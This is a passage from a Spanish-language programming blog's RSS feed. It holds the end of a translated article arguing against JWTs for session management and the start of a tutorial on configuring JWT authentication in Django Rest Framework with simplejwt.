perdida.&lt;/p&gt;&#xA;&lt;p&gt;Además de lo anterior, los usuarios que bloquean todas las cookies típicamente entienden que esto romperá la funcionalidad de autenticación para ellos, e individualmente desbloquean las cookies para sitios que les importan. Simplemente no es un problema que tú, como desarrollador web, necesites solucionar; una mejor solución es explicarle a tus usuarios porque tu sitio requiere cookies para funcionar.&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-desventajas&#34;&gt;Las desventajas&lt;/h2&gt;&#xA;&lt;p&gt;Ahora que he cubierto todas las afirmaciones falsas y porque están equivocadas, puedes pensar &amp;ldquo;oh, eso no es un problema, aún no importa que yo use JWT incluso si no me ayuda&amp;rdquo;, y estarías equivocado. Hay algunas desventajas al usar JWT como un mecanismo de sesiones, muchas de ellas son problemas serios de seguridad.&lt;/p&gt;&#xA;&lt;h3 id=&#34;usan-mas-espacio&#34;&gt;Usan más espacio&lt;/h3&gt;&#xA;&lt;p&gt;Las JWT tokens no son exactamente pequeñas. Especialmente cuando usas stateless JWT tokens, donde toda la información está codificada directamente en el token, rápidamente excederás el tamaño límite de una cookie o URL. Puedes decidir almacenarlas en el Local Storage en su lugar - sin embargo&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;son-menos-seguras&#34;&gt;Son menos seguras&lt;/h3&gt;&#xA;&lt;p&gt;Cuando almacenas tu JWT en una cookie, no es diferente de cualquier otro identificador de sesión. Pero cuando estás almacenando tus JWT en cualquier otro lado, ahora eres vulnerable a una nueva clase de ataques, descritas en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://blog.prevoty.com/does-jwt-put-your-web-app-at-risk&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;este artículo&lt;/a&gt;&#xA; (específicamente, en la sección de &amp;ldquo;almacenando sesiones&amp;rdquo;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Empezamos donde nos quedamos: de vuelta en el local storage, una adición sorprendente de HTML5 que añade un almacenamiento de llave/valor a los navegadores y cookies. Así que, ¿deberíamos almacenar las JWTs en el local storage? Puede tener sentido dado el tamaño que estos tokens pueden alcanzar. Las cookies tipicamente llegan a su límite en algún punto alrededor de los 4 Kb de almacenamiento. Para un token de gran tamaño, una cookie está fuera de consideración y el local storage sería la solución obvia. Sin embargo, el local storage no provee ninguno de los mismos mecanismos de seguridad que las cookies poseen.&lt;/p&gt;&#xA;&lt;p&gt;El Local Storage, a diferencia de las cookies, no manda los contenidos de tu contenido almacenado en cada petición. La única manera de obtener la información del Local Storage es usando Javascript, lo que significa que cualquier Javascript del atacante que pase la política de seguridad de contenido puede accesar y filtrarlo. No solo eso, sino que a Javascript no le interesa o lleva un seguimiento de que la información se envíe por HTTPS o no. Hasta donde Javascript sabe, es solo información y el navegador operará sobre ella como lo haría con cualquier otra información&lt;/p&gt;&#xA;&lt;p&gt;Después de todos los problemas que aquellos ingenieros pasaron para asegurarse de que nadie se hiciera con nuestro frasco de galletas (cookies), henos aquí intentando ignorar todos los trucos sofisticados que nos dieron. Lo anterior me parece un pequeño retroceso.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://blog.prevoty.com/does-jwt-put-your-web-app-at-risk&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;http://blog.prevoty.com/does-jwt-put-your-web-app-at-risk&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Para ponerlo de manera simple, &lt;strong&gt;usar cookies no es opcional&lt;/strong&gt;, sin importar que uses JWT o no.&lt;/p&gt;&#xA;&lt;h3 id=&#34;no-puedes-invalidar-jwt-tokens-individuales&#34;&gt;No puedes invalidar JWT tokens individuales&lt;/h3&gt;&#xA;&lt;p&gt;Y hay más problemas de seguridad. A diferencia de las sesiones - las cuales pueden ser invalidadas por el servidor cuando se requiera - los stateless JWT tokens individuales no pueden ser invalidadas. Por diseño, serán válidos hasta que expiren, no importa lo que pase. Lo que significa que no puedes, por ejemplo, invalidar la sesión de un atacante después de detectar un fallo de seguridad. Tampoco puedes invalidar viejas sesiones cuando el usuario cambia su contraseña.&lt;/p&gt;&#xA;&lt;p&gt;No tienes poder alguno, y no puedes &amp;ldquo;matar&amp;rdquo; una sesión sin construir una infraestructura (que debe ser stateful) para detectarla y rechazarla explícitamente, anulando por completo el objetivo entero de usar stateless JWT tokens.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-informacion-se-vuelve-obsoleta&#34;&gt;La información se vuelve obsoleta&lt;/h3&gt;&#xA;&lt;p&gt;Relacionado con el problema anterior, y considerado otro problema potencial de seguridad. Justo como en la cache, la información en un stateless token eventualmente se &amp;ldquo;volverá obsoleta&amp;rdquo;, y no reflejará la última información de la información en tu base de datos.&lt;/p&gt;&#xA;&lt;p&gt;Esto puede significar que un token contiene alguna información desactualizada como una vieja URL que alguien cambió en su perfil - pero de una manera más seria, también puede significar que alguien posee un token con el rol de administrador, incluso a pesar de que revocaste su rol como administrador. Debido a que tampoco puedes invalidar tokens, no hay manera de que remuevas su acceso de administrador, a menos de que apagues el sistema entero.&lt;/p&gt;&#xA;&lt;h3 id=&#34;las-implementaciones-estan-menos-probadas-o-son-inexistentes&#34;&gt;Las implementaciones están menos probadas o son inexistentes&lt;/h3&gt;&#xA;&lt;p&gt;Puedes pensar que todos estos problemas ocurren solo con stateless JWT tokens, y estarías en lo correcto. Sin embargo, usar un stateful token es básicamente equivalente a una cookie de sesión regular, pero sin las implementaciones probadas.&lt;/p&gt;&#xA;&lt;p&gt;Las implementaciones de sesiones existentes (ej, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/expressjs/session&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;express-session&lt;/a&gt;&#xA; en Express) han estado ejecutándose en producción por muchos, muchos años, y su seguridad ha sido mejorada debido a eso. No obtienes aquellos beneficios usando JWT tokens como cookies de sesión improvisadas - tendrás que correr tu propia implementación (y muy probablemente introducir vulnerabilidades en el proceso), o usar una implementación de terceros que no ha visto mucho uso en el mundo real.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusión&lt;/h2&gt;&#xA;&lt;p&gt;Las stateless JWT tokens no pueden ser invalidados o actualizados, e introducirán problemas de tamaño o de seguridad dependiendo de donde las almacenes. Las stateful JWT tokens son funcionalmente iguales a las cookies de sesión, pero sin la puesta a prueba e implementaciones bien revisadas o soporte de clientes.&lt;/p&gt;&#xA;&lt;p&gt;A menos de que trabajes en una aplicación en la escala de Reddit, no hay razón para usar JWT tokens como un mecanismo de sesiones. &lt;em&gt;Usa solo sesiones.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;entonces-para-que-son-buenas-las-jwt&#34;&gt;Entonces&amp;hellip; ¿para que son buenas las JWT?&lt;/h3&gt;&#xA;&lt;p&gt;Al principio de este artículo, te dije que había buenos casos de uso para las JWT, pero no eran adecuados como un mecanismo de sesiones. Esto es verdad; los casos de uso donde las JWT son particularmente efectivas son típicamente los casos de uso donde son usadas como un token de autorización de único uso.&lt;/p&gt;&#xA;&lt;p&gt;De la especificación de los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tools.ietf.org/html/rfc7519&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;JSON Web Token&lt;/a&gt;&#xA;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Los JSON Web Token (JWT) son un una manera compacta, y a prueba de url de representar una petición que se intercambia entre dos partes [&amp;hellip;] permitiendo que las peticiones estén firmadas digitalmente o su integridad protegida con un Código de autenticación de mensajes (MAC) y/o cifradas.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tools.ietf.org/html/rfc7519&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://tools.ietf.org/html/rfc7519&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;En este contexto, &amp;ldquo;petición&amp;rdquo; puede ser algo como una &amp;ldquo;solicitud&amp;rdquo;, o una autorización única, o básicamente cualquier otro escenario que puedas nombrar como:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hola servidor B, el servidor A me dijo que puedo &amp;lt;petición va aquí&amp;gt;, y aquí está la firma (criptográfica) como prueba.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Por ejemplo, puedes estar corriendo un servicio de hosting de archivos donde el usuario tiene que autenticarse para descargar sus archivos, pero los archivos están siendo servidos por un servidor de descargas stateless externo. En este caso, puede que quieras que el servidor de tu aplicación (Servidor A) emita un &amp;ldquo;token de descarga&amp;rdquo; de uso único, que el cliente puede usar para descargar el archivo del servidor de descargas (Servidor B).&lt;/p&gt;&#xA;&lt;p&gt;Cuando usas JWT de esta manera, hay algunas propiedades específicas&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Los tokens son de vida corta&lt;/strong&gt;. Solo necesitan ser validos por unos minutos, para permitir al cliente iniciar su descarga.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Se espera que el token solo se use una vez&lt;/strong&gt;. El servidor de la aplicación emitiria un nuevo token para cada descarga, de manera que cada token individual sea usado para solicitar un archivo a la vez, y entonces descartado. No hay un estado persistente.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;El servidor de la aplicación aún usa sesiones.&lt;/strong&gt; Es únicamente el servidor de descargas el que usa tokens para autorizar las descargas individuales, porque no necesita un estado persistente.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Como puedes ver aquí, es completamente razonable combinar sesiones y JWT tokens - cada uno tiene su propio propósito, y algunas veces necesitas ambos. Solo no uses JWT para información persistente de larga duración.&lt;/p&gt;&#xA;&lt;p&gt;El artículo original está licenciado usando la licencia &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cryto.net/~joepie91/blog/LICENSE.txt&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;WTFPL&lt;/a&gt;&#xA; puedes distribuirlo, usarlo, modificarlo, traducirlo y licenciarlo en cualquier manera.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En la entrada anterior publiqué una entrada sobre como llevar a cabo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-rest-framework-y-jwt-para-autenticar-usuarios/&#34;&gt;autenticación usando JWT y Django Rest Framework&lt;/a&gt;&#xA;, debido a que es un mecanismo de manejo de sesiones bastante popular últimamente, incluso algunos lo consideran un reemplazo de las cookies de sesión. En mi publicación mencioné que hay un debate muy intenso sobre si usar JWT para manejar sesiones es una buena práctica, para complementar lo anterior decidí traducir uno de los artículos más populares que aboga en contra del uso de JWT para manejar sesiones. El autor es Sven &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Slootweg (joepie91)&lt;/a&gt;&#xA; y el artículo fue publicado en su blog. Yo solamente lo traduje al español y lo comparto aquí. A partir del siguiente párrafo empieza la traducción del artículo, que lo disfrutes.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django Rest Framework y JWT para autenticar usuarios</title>
      <link>https://coffeebytes.dev/es/django/django-rest-framework-y-jwt-para-autenticar-usuarios/</link>
      <pubDate>Mon, 14 Jun 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/django-rest-framework-y-jwt-para-autenticar-usuarios/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los JWT (JSON Web Tokens) se han popularizado enormemente, incluso algunos las consideran un reemplazo de los clásicos Tokens que usan otros frameworks, tales como Django Rest Framework. Usar JWT o Tokens normales (SWT) permite guardar toda la información de nuestra sesión directo en el token y además están firmados criptográficamente, suena bien ¿no? Sigue leyendo hasta el final para profundizar al respecto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-jwt&#34;&gt;¿Qué es JWT?&lt;/h2&gt;&#xA;&lt;p&gt;JWT es un estándar para la creación de tokens de acceso basado en JSON, para el intercambio de información entre dos partes. Estos tokens, y su contenido, pueden ser verificados porque están firmados digitalmente. Esta firma criptográfica garantiza &lt;strong&gt;que el contenido no ha sido alterado y que el emisor es quien dice ser&lt;/strong&gt;. Lo anterior los vuelve perfectos para:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Autorización&lt;/li&gt;&#xA;&lt;li&gt;Intercambio de información&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;que-ventaja-tienen-los-jwt-respecto-a-los-tokens&#34;&gt;¿Qué ventaja tienen los JWT respecto a los tokens&lt;/h3&gt;&#xA;&lt;p&gt;Como te mencioné, el JWT puede guardar toda la información de la sesión, en lugar de guardarla en el servidor. Lo que te permite ahorrar muchísimo espacio en el servidor, sobre todo si tu sitio maneja una cantidad gigantesca de usuarios.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;estructura-de-un-token-jwt&#34;&gt;Estructura de un Token JWT&lt;/h2&gt;&#xA;&lt;p&gt;Un JWT (JSON Web Token) está dividido por puntos en tres partes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;El algoritmo que se usó.&lt;/li&gt;&#xA;&lt;li&gt;La información que contiene el token.&lt;/li&gt;&#xA;&lt;li&gt;La firma criptográfica.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Partes de un JWT: encabezado, contenido y firma.&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Estructura de un JWT: algoritmo, contenido y firma&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Aprecia como podemos usar la parte central para guardar contenido arbitrario, que nosotros querramos, tal como los datos de la sesión de un usuario u otra información que consideremos pertinente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion-de-jwt-en-django&#34;&gt;Instalación de JWT en Django&lt;/h2&gt;&#xA;&lt;p&gt;Primero vamos a instalar las librerías necesarias: djangorestframework y djangorestframework_simplejwt, el primero para para crear y gestionar nuestra &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;API REST&lt;/a&gt;&#xA; en Django y el segundo para manejar los JWT.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://m.do.co/c/a22240ebb8e7&#34;&gt;&#xA;    Si quieres hostear una aplicación de Django de forma barata y con buen rendimiento, DO tiene VPS (ellos les llaman Droplets) desde $4 usd el mes&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Para instalarlas podemos usar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/pipenv-el-administrador-de-entornos-virtuales-que-no-conoces/&#34;&gt;el administrador de entornos virtuales llamado Pipenv&lt;/a&gt;&#xA;, Poetry o cualquier otro gestor que quieras. También puedes usar pip si quieres.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install djangorestframework_simplejwt djangorestframework&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Asegurate de agregar las aplicaciones que instalamos a la variable INSTALLED_APPS.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework_simplejwt&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agregamos la clase de autenticación a nuestro archivo de configuraciones.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REST_FRAMEWORK &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DEFAULT_AUTHENTICATION_CLASSES&amp;#39;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework_simplejwt.authentication.JWTAuthentication&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda correr las migraciones y crear un súper usuario, si puedes crear un par de cuentas a través del admin también te serían útiles.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py createsuperuser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Vamos a agregar las url que necesitamos para generar nuestros JWT en Django&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework_simplejwt &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; views &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; jwt_views&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/token/&amp;#39;&lt;/span&gt;, jwt_views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TokenObtainPairView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_obtain_pair&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/token/refresh/&amp;#39;&lt;/span&gt;, jwt_views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TokenRefreshView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_refresh&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La primera vista &lt;strong&gt;nos devolverá un par de tokens&lt;/strong&gt;; uno de acceso y otro para refrescar el primero. La segunda vista nos servirá para refrescar o actualizar el token de acceso.&lt;/p&gt;&#xA;&lt;p&gt;Creemos también una vista protegida que sea accesible únicamente a los usuarios autenticados. Por simplicidad he puesto la función protegida dentro del mismo archivo &lt;em&gt;urls.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework_simplejwt &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; views &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; jwt_views&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.response &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; APIView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.permissions &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; 